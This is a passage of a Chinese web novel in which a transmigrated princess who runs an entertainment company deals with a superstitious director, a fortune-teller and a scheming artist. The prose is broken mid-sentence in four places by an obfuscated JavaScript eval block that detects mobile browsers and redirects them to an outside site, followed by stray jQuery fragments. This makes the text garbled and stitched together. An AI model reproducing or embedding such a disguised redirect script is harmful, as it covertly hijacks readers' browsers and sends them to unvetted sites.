“你知道得太多了。”芮槐宁接过白瓷碗,由于心情太过垂涎欲滴导致她说这句话的时候一点威胁的分量都没有。
奚檐是这个世界上唯一一个知道她身份证上的年龄比实际年龄要大两岁的人,她上个月刚过的27岁生日对外界来说其实是29岁。
甚至这个“外界”的范围也非常地小,娱乐圈里对于她年龄的猜测基本都在35岁上下,也不乏一些她已经“年逾四十”的离谱传闻。
在这个年龄焦虑十分普遍的圈子里,芮槐宁是少有的喜欢暗戳戳把自己年纪往大了报的人。
“下午需要我送你去公司吗?”奚檐往自己碗里夹了一筷子白灼油麦菜。
芮槐宁很讨打地一扬眉:“哟,奚大影帝还亲自开车啊?”
奚檐很是无语:“我求求你别玩尬的,你再叫我影帝我真的会拿个胶带把你的嘴封起来。”
“哦?是吗?”芮槐宁满脸写着“我非但不信还打算挑衅你”。
奚檐和她对峙了三秒钟,视线一一扫过她深邃的眉眼和高挺的鼻梁,最后落在了她饱满的唇瓣上,轻声道:“也不一定要用胶带……”
整个空间里的氛围似乎也因为这三秒钟而产生了一点小小的波动,不过奚檐最终并没有说完那句话,而是像无事发生一般低下了头,然后用漏勺捞起一勺鱼片放进了清水碗里。
芮槐宁此刻倒是很得意,她把奚檐的一连串动作理解为了“投降”,于是也非常宽宏大量地揭过了上一页,并打算劝他吃点好的:
“也没必要控制得这么严格吧?一点点红油胖不了你的。”
奚檐摇了摇头,把涮好的鱼夹进自己碗里:“现在年纪大了,我又是做演员的,不得不控制。你以为谁都像你一样吃不胖啊?”
“哎哟哟说得好像你七老八十了一样的……你不就比我大一个月吗?”
奚檐笑看了她一眼:“我还以为你要说‘姐还比你大两岁’呢。”
芮槐宁被他这么轻轻噎了一句一时也没想到反驳的话,顿了顿才讪讪地:“我就说你知道得太多了……”
“那我还能知道得更多一点吗?”奚檐一边夹菜一边瞟她,“小萌一大早就说你没去公司,发消息不回打电话不接……你真的没事吗?”
有事。芮槐宁心说,朕的登基大典被推迟了。
“我能有什么事啊?”她当场表演了一个心口不一。
奚檐放下筷子看着她:“没被甩?没路遇恶犬?没丢钱包?没和公司哪个小艺人吵架?”
“没有。”芮槐宁摇头,“不过被甩是什么鬼?就算要分手也是我甩别人好吧。”
其实奚檐心里猜测的可能性只有第一条而已,后面都是他凑数瞎说的,不过鉴于她明确否认了,且状态看起来确实不错他也就放心了。
“既然如此……”奚檐微微一笑,“我只能恭喜你终于领悟到了翘班的快乐,在更像一个正常人的道路上又前进了一步。”
“你才不正常呢。”虽然嘴上不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903738|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
输,但芮槐宁心里是明白他的意思的。
这么多年以来她确实没有一刻放松过,为了赚钱,为了回家,她脑子里的那根弦一直都是紧绷着的,没有“万一”,更没有“行差踏错”,365天x24小时超强待机,随时准备解决发财路上的一切阻碍。
就这么年复一年日复一日地过来了,其实也挺累的。这么想想的话,在回去登基以前过点肆意妄为的日子好像也不错。
正好饭也吃得差不多了,她果断掏出手机给小萌发了条消息:
【通知公司所有人,明天起上班时间不许化妆不许穿高跟鞋,否则不许进公司大门。不接受的可以辞职去人事部领赔偿走流程。】
五分钟以后对面奚檐的手机响了,他点开消息一看,略有些疑惑地:“你下的命令?”
芮槐宁点头:“嗯。昨天穿了平底鞋素颜去见老男人结果被骂了,心里不爽,发泄一下。”
奚檐猜她大约是去见了哪个潜在合作伙伴,不过怎么闹成这样的他就不知道了。
芮槐宁还以为奚檐会对此事发表点什么高见,但是这人已经站起来开始收拾桌子了。
“你就没什么想法?”她一边帮忙把碗筷放进洗碗机一边问道。
奚檐回头看她:“我能有什么想法?你的公司你说了算呗,又不是什么大不了的事。”
芮槐宁抬手拍了拍他的肩膀:“好小子,有觉悟!”
到了下午,很有觉悟的司机小奚还是开车把芮槐宁送到了其羽传媒,然后刚出电梯门他就被商务总监抓走了。
芮槐宁一面往自己办公室走一面看了身边欲言又止的助理小萌一眼:“有事说事。”
小萌犹豫了一下:“……那我就说了。芮姐,您中午让我下发的那个通知……能不能再商量商量?”
芮槐宁瞥了眼她素净的小脸:“你上班化妆吗?”
小萌摇了摇头。
“那对你根本没有影响啊,为什么要商量?”
“不是为我自己啦。”小萌有点着急,“我是怕其他人有意见。有的同事嘴上不敢说,但心里没准还是有怨气的,我刚才去25层办事的时候就听到有人在叨叨‘化妆自由’了。”
“行,我知道了。”芮槐宁脚步一顿转身往电梯那边走,“给我拿个大喇叭过来,我下去一趟,你就不用跟来了。”
5. 第 5 章
和遍布高管办公室的26层相比,25层要热闹许多,不过随着芮槐宁手拿扩音器往走道中间一站,大家都很自觉地安静了下来。
“是谁想要化妆自由来着?举手我看看。”她的声音很平静,也没有故意很凶,但听到她这话底下硬是没有一个敢举手的。
“你们下班以后想怎么折腾都行,但上班时间我说了算。外面有的是公司根本不发化妆补贴也敢要求女员工上班必须带妆的,我建议想去的都可以递简历试试,面试直接跟人事请假,绝对给你批。
“心里有怨气但不敢说也不敢举手更不敢辞职的,恭喜你,你只能憋着了,等什么时候你坐到了我的位置上再来报仇吧。”
芮槐宁的作风一向是简练直白,这次也没有多废话,说完就转身走人,留下一整层楼的员工噤若寒蝉,大气都不敢喘。
回到总裁办公室往老板椅里一坐,芮槐宁简直觉得身心舒畅。
过了十分钟,小萌进来给她递了份文件,趁她浏览的功夫又勤快地倒了杯水,然后一边偷瞄她的表情一边开口:
“其实吧,我觉得不化妆不穿高跟鞋也挺好的,尤其是高跟鞋,大家都穿不就等于都没穿嘛,那反过来大家都不穿不就等于都穿了?”
“我什么时候讲过我要讨论化妆、穿高跟鞋好与不好的问题了?”芮槐宁放下文件看向她。
小萌有点没反应过来:“啊?不是吗?我以为您是想教育大家不要追求‘向下的自由’什么的……”说着说着她的表情变得不确定了起来,声音也越来越小了。
直到此时芮槐宁才皱起了眉:“我说过你什么?”
“是!”小萌应激反应一样地绷直了后背,“说话声音要大,不要畏畏缩缩!”
芮槐宁满意地一点头:“讲。”
“我们公司女性员工数量远超男性,如果算上艺人都快八比二了,我觉得您是想教育公司里的女孩子,让大家不要轻易被‘女生就是应该化妆’的言论洗脑。”
芮槐宁听罢就笑了:“我又不是大教育家,我管人家怎么想的呢。”
小萌这下又傻眼了:“那您发这个通知的意思是?”
“没别的意思,我只是单纯想享受一下权力带来的快感而已。”芮槐宁边说边眨了眨眼睛。
“……哦。”小萌一脸震撼地往门口走,差点不小心撞到影视部的梁总监,连忙说了声“苑姐对不起”。
梁苑拍了拍她的肩膀示意没关系,然后才进了门走到芮槐宁的写字桌对面坐下,眼神里带着隐隐的笑意:
“让小姑娘们向往权力确实比让她们纠结化妆对不对有意义多了。”
“我可没有苑姐这么大的格局。”在她面前芮槐宁还是挺没总裁样的,“我前面二十几年都在追求钱,现在开始打算追求一下爽。”
“你这丫头……”梁苑摇了摇头,然后收敛了笑意说起正事来:“奚檐在的那个剧组刚刚出了点问题,我觉得你最好还是去一趟。”
听到这话芮槐宁的第一个念头就是:不是吧不是吧,又要上班了吗?
她深吸了一口气:“又怎么了?《东城旧巷》不是都要杀青了吗?”
“是快杀青了没错,但是因为姜姚坐到了剧组的苹果箱,张导发了火,现在他俩吵起来了。”
芮槐宁听得直挑眉:“都这年头了竟然还有导演觉得女人不能坐苹果箱吗?这是公认的封建迷信糟粕吧?”
梁苑自己也叹气:
“唉,你又不是不知道咱们这个圈子里的人有多迷信,再加上张导那个人呢,比较老派,这次好像还正好碰到姜姚来月经,他大概觉得这个霉头触大发了吧。”
“荒谬!”芮槐宁一拍桌子,“这老东西也不想想自己怎么来到这个世上的!”
梁苑也很无奈地摇了摇头:
“我听说啊,张煌早年事业不顺,后来当了居士又在深山里修道好些年,有人说他是花了大价钱找高人改命去了。不过他出山后拍的第一个片子确实一战成名,所以从那以后他也越发地信这些东西了。”
芮槐宁倒不觉得张煌这是“改命成功”,反而怎么看都像是被骗了。
但是她转念一想又觉得有点奇怪:
“姜姚虽然脾气好但也不是什么软柿子,而且她可是视后加影后诶,虽然还没到能跟大导平起平坐的地步,但张导也不至于一点面子不给她吧?”
“哎呀……”对面梁苑的表情变得微妙起来,似乎在思考如何措辞,“你也知道外头一直说你跟姜姚不对付,这个片子又是咱们公司投的,你还挂了出品人……”
梁苑的说法还算委婉的,一般营销号都说的是当年芮槐宁眼看着公司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903739|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要起飞就一脚踹掉了合作多年的视后姜姚,甚至还有说她使了手段吞掉了姜姚原本的股份什么的。
再后来就是大众喜闻乐见的打脸剧情:姜姚自立门户奋斗多年终于又拿到了影后成功跻身超一线,而芮槐宁作为黑心商人痛失好大一棵摇钱树。
由于这个剧本里芮槐宁心狠手辣的形象太过符合她给大众留下的刻板印象,导致这个传闻越传越真,乃至于后来姜姚本人出面澄清了两次都无人相信。
“所以苑姐的意思是,张煌想找她的麻烦还要拿我当靠山?”芮槐宁眯起了眼睛。
梁苑没说“是”与“不是”,而是回了一句:“所以最好还是你亲自出面吧。”
芮槐宁笑了笑:“苑姐怎么能肯定我会愿意管姜姚的死活?要是我巴不得看她被张煌整呢?”
梁苑也笑:“怎么选择是你的自由,不过这戏总不能不拍了吧?奚檐今天本来没通告的,但是刚刚接了消息也已经赶过去了。姜姚你可以不心疼,但奚檐你也不管了吗?”
不知道是梁苑的哪句话起了作用,芮槐宁最后还是开车去了一趟西云,刚到影视基地门口就先见到了奚檐,他好像是在等什么人似的,见她来了还有些意外的样子。
“情况估计你也听说了,我跟你补充点我刚刚打听到的。”他在窗口这么说完,又绕到了另一边拉开车门坐到了副驾驶位子上,
“据说张导其实一开始是有些不满,但也没有发火,但很不巧的是中午拍外景的时候莫名其妙就开始刮风,把置景做好的棚子给刮塌了,还差点砸到一个群演。
“然后张导就叫停了拍摄,说是要请个道士过来驱驱邪。姜姚因为他这么说也生气了,说是如果非要这样的话就干脆把她也驱出剧组好了,女主角就请张导换人吧。”
芮槐宁听完微一点头表示自己大概明白了。
于是奚檐也三两句做了总结:“以张导今时今日的地位已经受不得激了,这种时候姜姚跟他正面对上,他当然不肯退了。”
芮槐宁转头看向他:“你这话好奇怪,他不退难道要姜姚退吗?”
奚檐苦笑:“我不是这个意思。反正呢,现在姜姚说自己身体不适去房车上休息了,张导那边我劝了他不听……”
奚檐的话还没说完芮槐宁已经打开门下了车:“没关系,我去劝。”
6. 第 6 章
奚檐一边觉得要完一边赶紧跟着芮槐宁下了车。
真不巧,他刚才看到她下车前脸上露出的那个谜之微笑了,她要真是去好言相劝的他就把名字倒着写!
剧组拍摄地离影视基地出口挺近的,很快芮槐宁就抵达了刺激战场。
她的出现马上引起了所有人的注意,好几个闲坐在地上等通知的场务和群演也连忙拍拍屁股站了起来。
姜姚如今的大经济正蹲在张导旁边赔不是呢,见到芮槐宁也停住了话头,眼神中逐渐染上了惶恐。
芮槐宁没有错过他的可怜样,走过去以后先跟他打了个招呼:“霍总别来无恙啊?”
霍安几乎是跳起来奔到她跟前的:
“芮总是这样的,今天姜姚来例假本来就不太舒服,她也不是故意要去坐苹果箱的,就是身子太虚一时没站稳,不小心碰到了而已,她现在还在房车里面睡觉,但是一会儿就能继续拍了,不会耽误剧组进度的。”
芮槐宁看向他的眼神极为不善:
“霍总这话好奇怪,你不是姜姚的经纪人吗?为什么说得好像她不是故意要犯错一样的?你也觉得姜姚坐了苹果箱是一种错吗?”
霍安被她问得一时语塞,在场的其他人似乎也没想到一向跟姜姚不对付的芮槐宁会是这个态度,一时间心思各异。
原本坐在导演椅上看戏的张煌此时也有些坐不住了,赶紧站起身来要跟芮槐宁握手:
“不知芮总今天会来,其实就是一点小事,我请的道士马上就到了,驱完邪就好了。”
芮槐宁却没理会他伸过来的手,而是对着霍安道:“你把那个了不得的苹果箱搬过来我看看先。”
等霍安一路小跑搬来了苹果箱,芮槐宁双手抱在胸前瞥了它一眼:“也没什么特别的嘛。”
接着她就坐了上去。
这下旁观的一群人下巴都差点掉下来了,只有奚檐的表情看起来并不太意外。
张煌和霍安都往芮槐宁那边挪了一步,张导一副欲言又止的样子:“芮总,您这……”
但芮槐宁很快又站了起来,他也跟着松了一口气。
“看来张导还没忘记我这个掏钱的出品人啊,没有因为我也坐了苹果箱就横眉竖目的哦?”芮槐宁看了张煌一眼,又走回了他跟前,再然后就大剌剌地坐到了他的导演椅上。
这回围观群众的下巴是彻底脱臼了,尤其是霍安,眼珠子都快瞪出来了,那可是导演椅啊!象征着导演的绝对权威的导演椅啊!她她她就算是出品人也不能往上坐吧!
张煌原本土黄色的脖子现在已经变成了红色,大概是血压升高的结果。
剧组里这些人平时那都是被导演呼来喝去的,哪里见过张煌如此狼狈的模样,此时是笑也不敢笑,甚至连大气都不敢喘了,只知道傻乎乎地看着芮槐宁。
而芮槐宁对现场的氛围恍若未觉,甚至翘起了二郎腿:“果然还是导演椅舒服啊,苹果箱有什么好坐的?不稀罕。”
一直旁观的奚檐此时也不得不在众目睽睽之下走到了俩人的身边:“张导,我先扶您去休息一会儿吧。”
然后也不管张煌愿不愿意,半扶半架地把他拖去了自己平时休息的躺椅上。
等再回到芮槐宁这头奚檐又弯下腰压放低了声音徐徐劝道:“再怎么说你也是小辈,这么下张导的面子,传出去你的名声也要受损的。”
芮槐宁很清楚奚檐的话是有道理的,这件事如果换了从前,她肯定会有更圆融的处理方式。
但圆融了这么多年芮槐宁早就不耐烦了,如今她就是要坚定外耗别人,绝不难为自己。
于是她伸出食指贴在了奚檐的嘴唇上:“嘘,少废话,玩儿你的泥巴去。”
奚檐被怼了这么一句倒也没有生气,只是又好笑又无奈地把她的手轻轻拿开:“那你也不能一直在这儿坐着吧?”
说话间奚檐的手机震动了一下,他低头看了看消息,然后对芮槐宁说:“我安排的人到了,接下来交给我好吗?”
芮槐宁虽然有点不想给他这个面子,但其实她自己一时也没想好怎么收场,总不能真一直这么干坐着吧?
于是她装作很大度的样子挥了挥手:“也行,那你去办吧。”
十分钟后奚檐去而复返,身后还跟着一个道士模样的人。
俩人先去了张导那头,奚檐引荐道:“这位是我的朋友孙天师,虽然不会驱邪但算命卜卦看相看风水都是一把好手。张导您看是否能请他帮忙给我们剧组算算?”
张煌眼睛一亮:“是玄都观的那位孙道长吗?”
这位似乎很有名的孙天师微一点头,一副仙风道骨的清癯模样,在明星和大导面前也丝毫不露怯,甚至连口都没开,看向张煌的眼神里明晃晃地写着“尔等凡夫俗子皆不入我眼”。
但张煌偏偏还挺吃这套,不仅连声说着“久仰久仰”,甚至还从躺椅上站了起来,说是要陪着天师四处看看。
另一头的芮槐宁也弄不清这俩作的什么妖,只见着张煌领着那道士转来转去,道士时不时说一句什么,张煌就忙不迭地点头。
奚檐趁孙天师堪舆测算的工夫又走到了芮槐宁身边冲她使了个眼色:
“放心吧,我已经提前打过招呼了,保准他算出来平平安安大吉大利,既不用让姜老师被‘驱邪’,也能让张导安心。”
芮槐宁“啧啧”两声:“原来这就是你的安排啊……这老头不会是你从哪儿找来的骗子吧?”
“哪能呢。”奚檐虽然否认了,但分明他自己眼里也有笑意,“人家是正儿八经的江湖人士,在燕京地界上也是有头有脸的人物,还有国家颁发的道士证的。”
芮槐宁心说骗子也是江湖人士。而且道士证是个什么玩意儿?别太离谱了……
此时张煌已经陪着孙天师逛到了导演监视器附近,孙天师依旧一脸的高深莫测,而张导不知听这老头掰了些什么话,一副心花怒放的样子。
芮槐宁忍不住又在心里吐槽:算命大师,更适合华夏宝宝体质的心理咨询师。
“善人大可放心,这个影片是贪火相逢的格局,一旦横发则前途不可限量,贪狼性勇猛,横冲直撞的时候难免有些小波折,不必放在心上……”
他话音方落一个转身刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903740|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巧瞥到了导演椅上坐着的芮槐宁,登时“咦”了一声:“刀笔相?”
张煌在旁边也紧张起来:“道长,是有什么不妥吗?”
但孙天师根本没理会他,而是急急忙忙地从口袋里翻出了一副老花镜戴上,又往前两步凑到了芮槐宁跟前,冲着她的脸好一番打量,嘴里还念念有词:
“龙睛凤颈,天庭饱满,眉高目邃,奇骨贯顶,这这这……这是……”
“是什么啊?”张煌在旁边听不清又急得要死。
“这是……”孙天师刚要说出口又是一个大喘气,“不想某修行多年竟有幸得见此等面相……”
他看完芮槐宁又去看她头顶上方的一片天,然后神神叨叨地边掐指边盘算,最后小声地喟叹道:“紫气东来啊。”说着居然问芮槐宁要起生辰八字来。
芮槐宁有心逗逗他,只给出了自己初次来到这个世界的年月日,却没有给出准确的时辰。
但这孙天师也不恼,而是忙不迭地凝神算了半天,一时皱眉不解,一时又好似突然想通,最后竟然有了要朝她下跪的趋势。
芮槐宁见状伸出手抬了他的胳膊一下,心想:倒是很久没人跪我了,但你也别整这死出啊!
孙天师被她这么一抬才又站直了些,但已然不敢再直视她的脸了。
张煌两只眼睛在天师和芮槐宁之间来回移动:“道长能否给个明白话,芮总她……有什么不妥吗?”
孙天师惊骇万分地看了他一眼:“你这凡夫俗子眼拙也就罢了,怎敢如此出言不逊?这位分明是……”
“老头。”芮槐宁打断了他,“有些事不是所有人都能算的,这个你明白吧?”
说完她又从钱包里捞出一张百元大钞递了过去:“这次就当是我请您算的,下回可再不敢这么莽撞了。”
孙天师猛然闭嘴,接过钱又朝她作揖,道:“您教训的是,某差点失言害了自己。”
张煌再眼拙此时也看出来了芮槐宁不是“不妥”,而是更像什么不可言说的大人物。
但孙天师此时已经辞别了芮槐宁要离开拍摄场地了,他只得赶紧跟了上去,妄图打探出一点什么消息:“天师,能请您指点一二吗……”
可无论他怎么问孙天师都只是连连摆手,最后被逼得烦了丢出一句:“承天命之人也是尔等配问的么?你将她好生供起来就是了!”
说罢便一提道袍快步走远了,留下张煌在原地又是惊喜又是后怕的,脸上好一阵神色变幻。
奚檐一直在孙天师后面不远不近地跟着,直到将人送出了影视基地,等车的功夫才开口问道:“我刚才听得也不真切,孙老师怎么算到一半却不肯说了?”
“什么孙老师啊,你还是叫我老孙吧。”这位孙天师看起来还真是奚檐的朋友,
“非是我不肯说,只是古往今来只有国师方可算国运,像我这等在江湖上混口饭吃的,甭管修为高低,算多了就是损自己的阳寿,何况她身份似乎还颇有些特别,我也看不大清。”
说着他摆了摆手:“到此为止吧。”
奚檐一时间没明白,芮槐宁跟国运有什么关系?
7. 第 7 章
不过即便是朋友,孙天师似乎也不打算再多说一个字了,于是奚檐也识趣地不再追问,只是将他送上了网约车之后便转身回了片场。
但他刚回去就看到张煌哈巴狗一样地蹲在芮槐宁脚边,一张老脸上笑得褶子都多了好几道。
芮槐宁正被他无事献殷勤献得心烦,见奚檐出现立刻从椅子上站了起来:“那我就先走了,麻烦张导一会儿好好去给人家姜老师赔个不是。”
张煌连忙答应了,又道:“您不再多坐会儿?”
“不了。”芮槐宁说完还轻轻拍了拍张煌的肩膀,“《东城旧巷》本子好演员也好,您既然指着它拿奖就好好拍完,这才对得起剧组这么多人大半年来的辛苦不是?”
张煌又是忙不迭地点头,一直跟着奚檐将芮槐宁送出了影视基地才依依不舍地道别,还不忘和她强调:“芮总以后有空一定常来坐坐啊,上我家去也行!”
芮槐宁心说不好意思真没空,我明早就拜拜了您嘞!
奚檐看得好笑,在旁边调侃道:“没想到让孙道长跑一趟还能有这种副作用,张导现在是把你当姑奶奶捧着了。”
芮槐宁心说虽然大晟并不存在于这个世界的历史当中,但我当他张煌的祖宗那也是绰绰有余。
“所以孙道长到底看出来什么了,连我也不能知道吗?”奚檐望着她道。
“大概看出来我是锦鲤大仙儿转世什么的?天机不可泄露,我也不知道啊。”
芮槐宁这么说了奚檐便也哈哈一笑不再追问。
这头芮槐宁正准备开车走人呢,结果那头又从影视基地门口追出来一个霍安,一边吭哧带喘地一边道:“芮总今天肯帮这个忙,我替姜姚谢谢您。”
“霍总客气。”芮槐宁无所谓地摆了摆手。
但霍安想说的好像还不止这个:“关于和其羽传媒的合约,姜姚真的解释过的,只是怎么说都没人信……”
芮槐宁瞥了他一眼:“我知道啊,报道上都有的。”
姜姚的说辞是她先提出的解约,后来跟其羽传媒也是和平分手的。
只可惜她两次澄清的时机都不太对,第一次是在刚解约的时候,大家觉得她小白菜地里黄,肯定是被芮槐宁这个老妖婆威胁了才不得不这么说。
第二次是她一年前拿了影后又讲了一次一样的话,结果大家更不信了,觉得这是她在给当年落魄的自己找场子,不肯承认堂堂影后曾经也有被人扫地出门的时候。
总之这件事在吃瓜群众的心里早就板上钉钉,芮槐宁就是不择手段过河拆桥的无良奸商,再没有任何翻案的余地。
但芮槐宁确确实实从头到脚都透着对这件破事的毫不在乎:
“霍总还是回去照顾姜姚吧,合约也好谣言也罢,我真懒得管的,以后不管是公共场合还是在我面前你们也都不用再提了,随便大家怎么去想吧。”
霍安见她态度坦然也只能诺诺点头,又怕说多了惹她心烦,赶紧又从善如流地返回片场去了。
全程安静旁观的奚檐此时才开口:“明明姜姚说的不全对,外界传的全不对,你就真的一点不在意吗?”
奚檐和其羽传媒签约早,待的时间又足够长,六年前姜姚出走那阵他刚进公司没多久,倒还真凑巧见证了许多历史。
以及芮槐宁曾经一些不那么光鲜亮丽,甚至可以说有点狼狈的艰难时刻。
“公司艺人里知道这些事的现在也只剩你一个咯,更别说外头那些人了。”芮槐宁竟然笑得很轻松的样子,“谁在乎?反正我不在乎。”
老娘明天就登基,管这些狗屁倒灶的呢!
对她的心声一无所知的奚檐此时眼里只剩了满满的心疼:“……也好,反正都过去了,以后都是好日子。”
芮槐宁看向他的眼睛亮亮的:“对,以后都是好日子!”
虽然俩人说的根本不是一回事儿,但这并不妨碍他们在落日余晖里对着彼此露出了真心的笑容。
这天晚上芮槐宁照样被冉凌天抓进峡谷打游戏,她想着明早一旦穿回去就这辈子都玩不到了便也欣然接受了。
今天他们打的是高端局,可惜队友不仅水平菜还爱骂人,冉凌天气得开了队内语音回敬,为了不被认出来还特地凹了夹子音,听得芮槐宁直想笑。
但冉凌天骂得再凶的也不过是“小笨蛋骂谁?”和“你真是一只笨猪”这样的语句,芮槐宁将此归结为他在美国待了太久,中文词汇积累实在有待更新。
不过还挺可爱的。
两把游戏结束芮槐宁还是早早躺到了床上,毕竟登基大典仪式繁琐,她得保证自己届时体力充沛。
这一觉睡得她神清气爽,但是却没有预想中被宫女叫醒的画面,而是又一次自然醒了。
在睁开眼睛看到自家深蓝色窗帘的第一秒芮槐宁就痛苦地捂住了脑门。
【我怎么还在这儿?】
系统收到召唤后很快应答:【皎皎莫急,虽然时间轨道已然抢修完毕,但晟朝与皎皎当前所处世界并不在同一条时间轴上,皎皎想要归家还得进行世界跃迁,跃迁航道修复仍需一些时候。】
【这个“一些时候”具体是多久?】
【这可说不好,兴许明天早上七点皎皎睁眼就到家了呢?】
真是够了,明日复明日,明日何其多啊……芮槐宁无力地关掉了系统对话。
安静了一晚上的手机此时刚开机就震动个不停,她忽略所有工作消息,给小萌发了句:【我今天下午到公司,上午别找我】
发完她一头躺倒在床上,很想撤回刚才那条把它改成“今天一天都别找我”。
不过“下雨天打孩子,闲着也是闲着”,她在家躺到一点半还是去了公司,然后就被各部门总监堵在办公室里听了一下午的汇报。
年底事多,各平台新开的影视、综艺项目,公司艺人续约的、新签的代言,电视台跨年的、春节的、元宵的晚会,拉拉杂杂一大堆都等着她拍板。
短短几个小时芮槐宁忙得是晕头转向,全部处理完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903741|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之后她把梁苑在内的几个总监都叫到了会议室:
“我长话短说,最近几个月我可能要歇一歇,所以公司里的大事小情需要各位帮忙多担待了。
“我说的‘多担待’绝对不是客气话,以后除非有决定不了的大事,否则其他事项你们不用再向我汇报,直接自己拍板就好。
“当然,我也不会让大家白辛苦,从这个月开始各位的奖金会有一定的上浮,具体细节我会和人事部再行商议。”
总监们的奖金一直都是和公司月度、季度的利润挂钩的,有一点点像分成,芮槐宁之所以上调奖金而不是基本工资,也是希望她们能够看在共同利益的份上不要乱做决策。
“最后我还想特别跟恒姐说一下,”芮槐宁看向了艺人经纪部的总监连恒,
”之前公司几个头部艺人的事情主要还是我在负责,但是从现在开始,我希望你能慢慢把他们的相关工作都接过去。”
连恒点了点头:“我没问题。”
“那就先这样吧,散会。”
等到芮槐宁的身影消失在走廊尽头之后,众人都看向了连恒,宣传总监林晴最先开口:
“我们槐宁终于肯把她守护的几个龙蛋放出来了呀?”
连恒轻轻瞪了她一眼:“就你的嘴最厉害。”接着她又招呼众人散场,“行了都别围着了,涨奖金不是好事吗?都回去工作了。”
几个人这才出了会议室。
不怪大家觉得稀奇,实在是芮槐宁以前太能干了,尤其涉及到奚檐、陆虞渊这些摇钱树的时候,她基本都是亲力亲为的。
此刻回到办公室的芮槐宁又在接着看文件了。
她也清楚自己在工作上是一个控制欲非常强的人,否则前世也不会在监国的时候累坏了身体,到最后落得个吐血而亡了。
但到了这个世界她还是无法放松,毕竟系统提出的赚钱目标过于离谱,她不把所有事情都抓在手里实在没法放心。
但是现在就不一样了,反正买路财已经上缴了,她只想赶紧把一切工作脱手。
事实上在芮槐宁的原计划里根本不包含安排自己拜拜之后公司的后续运营。拜托,人都没了还管这些?
可是现在计划有变,她也不知道明早起来到底会看到哪个世界的太阳,所以只能先进行了一波权力的下放。
芮槐宁在办公室光速处理完剩下的事,然后去了一趟洗手间,在看到女洗手间门口“正在维修”的牌子之后又转身进了男洗手间。
但是就在她准备从隔间里出去的时候突然听到了外面有人交谈的声音。
一个细嗓在说:“火龙果那个推理综艺好像本来这一季还是你的,结果今天芮槐宁来了趟公司,一转眼就给了陆虞渊。”
一个粗嗓问:“不会吧……已经定了吗?”
细嗓沉默了一下:“……不确定啊,要不你赶紧想想办法,上点手段?”
隔间里的芮槐宁眯起了眼睛:好小子!你想上什么手段也跟姐说说呗?
8. 第 8 章
“你想上什么手段?也跟我说说呗?我帮你参谋参谋?”总裁办公室的老板椅里,芮槐宁似笑非笑地边说边看向面前站着的江沉威。
他就是刚才洗手间里的粗嗓,所谓的“被陆虞渊截胡了资源”的男人。
江沉威似乎是完全没想到自己跟其他人在厕所里的对话会被芮槐宁知道,此时眼里颇有些惊恐:
“芮总您听我解释,上手段什么的都是李召说的,和我没关系啊。”
于是芮槐宁又打内线让小萌去把李召也抓来了,顺便通知综艺部总监处理她们部门里嘴碎的下属。
李召进门的时候连眼都不敢抬,芮槐宁也不跟他多废话:“明早关于解约的书面通知就会下发给你,手头的项目进行完你就滚吧。”
李召这才抬起了头:“不至于吧芮总,我只不过是说错了一句话而已啊?”
芮槐宁冷笑一声:“只是‘一句话而已’吗?你还真会避重就轻啊。我早就说过公司艺人内部之间不允许出现任何勾心斗角和恶性争抢资源的事件。
“你们和外面的人随便打,打成乌眼鸡我都不管,能抢到别人碗里的食儿我算你有本事,但是在公司内部,在我手底下你就必须听我的安排,不乐意就滚蛋。”
李召似乎还想最后再挣扎一下:“我不服,我承认我嘴贱,但我真的只是随口一说罢了。”
“哦?是吗?但很可惜公司是我开的,我想让你滚你就得滚,不服也得服。不过嘛……”
芮槐宁话锋一转,“为了让你死个明白——上次跟陆虞渊说我老让他带新人,对他不公平的是不是你?”
李召脸上的表情从死鸭子嘴硬换成了震惊,似乎是没想到她连这件事也知道了。
芮槐宁的声音冷冰冰的:“别把所有人都当傻子,这么想玩转人心你还是另谋高就吧。
“顺便提醒一下,你签的是演艺经济合同不是劳动合同,合同里早就写明了三年后解约只需要一方提前三个月出具书面通知即可。”
